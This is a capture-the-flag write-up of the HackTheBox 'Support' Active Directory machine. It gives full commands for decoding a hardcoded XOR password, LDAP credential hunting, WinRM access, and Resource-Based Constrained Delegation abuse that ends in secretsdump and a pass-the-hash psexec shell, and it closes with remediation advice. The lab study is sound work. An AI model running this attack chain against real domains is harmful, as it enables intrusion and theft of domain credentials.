Support - HTB Write-Up

Author: Elouann M
Platform: HackTheBox
Machine: Support
OS: Windows Server (Active Directory, Domain Controller)
Difficulty: Easy/Medium
Date: 2026-10-29
Target IP: 10.129.230.181

Summary

Support is an Easy Active Directory machine. A non-default SMB share exposes a custom .NET tool whose decompiled source reveals an obfuscated (XOR'd) LDAP service account password. Authenticating as this account against LDAP exposes a plaintext-like credential hidden in a user's `info` field, which grants a WinRM shell as the `support` user. BloodHound reveals this user has `GenericAll` on the domain controller's computer object, which is abused via Resource-Based Constrained Delegation (RBCD) to impersonate the Administrator and obtain a SYSTEM shell.

Result: initial foothold via a decompiled binary and an LDAP attribute, full domain compromise via RBCD.

Enumeration

Network scan

```
nmap -sV -sC 10.129.230.181
```

```
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-10-30 11:48:42Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
```

```
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain:
support.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

The open ports (Kerberos, LDAP, SMB, WinRM) identify the target as an Active Directory domain controller. We follow a classic AD enumeration methodology: SMB → LDAP → Kerberos.

SMB enumeration

```
smbclient -L //10.129.230.181 -N
```

```
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
support-tools   Disk      support staff tools
SYSVOL          Disk      Logon server share
```

`support-tools` is not a default share on a Windows domain controller, so it is worth investigating.

```
smbclient //10.129.230.181/support-tools -N
```

```
7-ZipPortable_21.07.paf.exe         2880728
npp.8.4.1.portable.x64.zip          5439245
putty.exe                           1273576
SysinternalsSuite.zip               48102161
UserInfo.exe.zip                    277499
windirstat1_1_2_setup.exe           79171
WiresharkPortable64_3.6.5.paf.exe   44398000
```

Most files are well-known, publicly available tools. `UserInfo.exe` stands out as a non-standard, likely internally developed tool — a good candidate for containing hardcoded secrets.

Initial Access

Decompiling UserInfo.exe

```
smbclient //10.129.230.181/support-tools -N -c 'get UserInfo.exe.zip
/tmp/UserInfo.exe.zip'
cd /tmp
unzip UserInfo.exe.zip
file UserInfo.exe
```

```
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386
Mono/.Net assembly, 3 sections
```

It's a .NET assembly, which can be decompiled back to readable source code:

```
ilspycmd UserInfo.exe > UserInfo_decompiled.cs
grep -n -iE 'enc_password|getPassword|XOR|FromBase64|Protected'
UserInfo_decompiled.cs
```

```
73:  internal class Protected
79:  public static string getPassword()
81:  byte[] array = Convert.FromBase64String(enc_password);
102: string password = Protected.getPassword();
```

```
sed -n '73,95p' UserInfo_decompiled.cs
```

```
internal class Protected
{
    private static string enc_password = "<base64_encoded_string>";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
        }
        return Encoding.Default.GetString(array2);
    }
}
```

The password is Base64-decoded, then each byte is XOR'd with `key[i % len(key)]`, then XOR'd again with `0xDF`. We reproduce this logic in Python to recover the plaintext:

```
import base64

enc = "<base64_encoded_string>"
key = b"armando"

data = base64.b64decode(enc)
pwd = ''.join(chr(data[i] ^ key[i % len(key)] ^ 0xDF) for i in
range(len(data)))
print(pwd)
```

This gives a decoded password for an LDAP service account, confirmed with:

```
nxc smb 10.129.230.181 -u ldap -p '<decoded_password>'
```

LDAP enumeration

With valid LDAP credentials, we dump the directory and look specifically at free-text attributes (`description`, `info`, `comment`), which are common places for admins to accidentally leave secrets:

```
ldapsearch -x -H ldap://10.129.230.181 -D 'ldap@support.htb' -w
'<decoded_password>' -b 'DC=support,DC=htb' | grep -n -iE
'^(info|description|comment):'
```

```
info: <plaintext-looking value>
```

The `info` field of a user object contains what looks like a password. We use it to open a WinRM session (port 5985 was open in the initial scan, and WinRM access typically requires membership in the Remote Management Users group):

```
evil-winrm -i 10.129.230.181 -u support -p '<info_field_value>'
```

```
*Evil-WinRM* PS C:\Users\support\Desktop> cat user.txt
<user_flag>
```

Privilege Escalation

Mapping AD permissions with BloodHound

We collect AD relationship data with bloodhound-python:

```
bloodhound-python -u support -p '<info_field_value>' -d support.htb -ns 10.129.230.181 -c All --zip
```

After importing the data into BloodHound, we mark `support` as the owned user and look for the shortest path to high-value targets. BloodHound shows a `GenericAll` edge from `support` to `DC.SUPPORT.HTB` — meaning our user has full control over the domain controller's computer object. BloodHound's built-in "Abuse Info" panel for this edge describes directly how to abuse it: via Resource-Based Constrained Delegation (RBCD).

RBCD exploitation

`GenericAll` on a computer object lets us configure which other computer accounts are allowed to authenticate to it on behalf of any user (Kerberos delegation). The attack chain:

1. Check the domain's machine account quota (how many computer accounts we're allowed to create):

```
nxc ldap 10.129.230.181 -u support -p '<info_field_value>' --query "(objectClass=domain)" "ms-DS-MachineAccountQuota"
```

The quota is non-zero, so we can create a computer account we fully control:

```
impacket-addcomputer support.htb/support:'<info_field_value>' -dc-ip 10.129.230.181 -computer-name 'fake$' -computer-pass '<fake_computer_password>' -method SAMR
```

2. Configure RBCD: allow our fake computer to act on behalf of others when authenticating to the DC:

```
impacket-rbcd -delegate-to 'DC$' -delegate-from 'fake$' -dc-ip 10.129.230.181 -action write support.htb/support:'<info_field_value>'
```

3. Request a service ticket impersonating the Administrator, using our fake computer's own credentials:

```
impacket-getST support.htb/'fake$':'<fake_computer_password>' -dc-ip 10.129.230.181 -spn 'cifs/DC.SUPPORT.HTB' -impersonate Administrator
```

4. Load the ticket and dump domain secrets:

```
export KRB5CCNAME=$(ls *.ccache | head -1)
impacket-secretsdump -k -no-pass support.htb/Administrator@DC.SUPPORT.HTB -dc-ip 10.129.230.181
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<ntlm_hash>:::
```

5. Use the recovered hash for a SYSTEM shell (pass-the-hash):

```
impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:<ntlm_hash>' Administrator@10.129.230.181
```

```
C:\> type C:\Users\Administrator\Desktop\root.txt
<root_flag>
```

Vulnerability Summary

#	Vulnerability	Description	Impact
1	Hardcoded, weakly obfuscated credential	A service account password is XOR/Base64-"encoded" inside a distributed .NET binary	LDAP access
2	Secret stored in a free-text LDAP attribute	A user password was left in the `info` field	WinRM access as `support`
3	Excessive AD permission (`GenericAll`)	The `support` user has full control over the DC's computer object	Enables RBCD
4	RBCD abuse	A fake computer account is used to impersonate the Administrator via Kerberos delegation	Full domain compromise

Remediation

Vulnerability	Fix
Hardcoded credential in a binary	Never embed credentials in distributed tools, even obfuscated; obfuscation (XOR/Base64) is not encryption and offers no real protection
Secret in LDAP attribute	Audit free-text AD attributes (`description`, `info`, `comment`) for accidentally stored secrets; use a password manager instead

Vulnerability	Fix
Excessive `GenericAll` permission	Apply least privilege on AD objects, especially computer objects of domain controllers; regularly audit ACLs with BloodHound from a defensive standpoint
RBCD abuse	Monitor creation of computer accounts and changes to `msDS-AllowedToActOnBehalfOfOtherIdentity`; restrict `ms-DS-MachineAccountQuota` to 0 for non-admin users

Lessons Learned

- This was my first Active Directory machine. I followed a known AD enumeration methodology (SMB → LDAP → Kerberos) as a guide rather than improvising, which helped me stay structured.
- A non-default SMB share is always worth investigating, especially unfamiliar binaries.
- Obfuscation (XOR, Base64) is not security — decompiling a .NET binary to recover a "protected" password takes minutes.
- Free-text LDAP attributes (`info` , `description`) are a classic place to find leftover credentials.
- BloodHound's "Abuse Info" panel is the practical way to go from "I found a permission" to "here's the exact attack to run."
- `GenericAll` on a computer object is a direct path to RBCD and full domain compromise.

Tools Used

Tool	Usage
Nmap	Port and service scan
smbclient	Enumerating and downloading files from the SMB share
ilspycmd	Decompiling the .NET binary to readable C# source
Python	Reproducing the XOR/Base64 decoding algorithm
ldapsearch	Querying the LDAP directory
evil-winrm	Remote PowerShell access over WinRM
bloodhound-python / BloodHound	Mapping AD permissions and finding the attack path

Tool	Usage
Impacket (addcomputer, rbcd, getST, secretsdump, psexec)	RBCD exploitation and post-exploitation
NetExec (nxc)	Validating credentials, querying LDAP attributes

References

- Active Directory enumeration roadmap: https://medium.com/@sahanchamod/active-directory-penetration-testing-a-complete-roadmap-tools-commands-d37f97b411c5
- BloodHound overview: https://www.youtube.com/watch?v=RUbADHcBLKg
- RBCD exploitation guide: https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5

Educational content only, carried out on a retired HackTheBox training machine. All credentials shown above have been redacted or replaced with placeholders.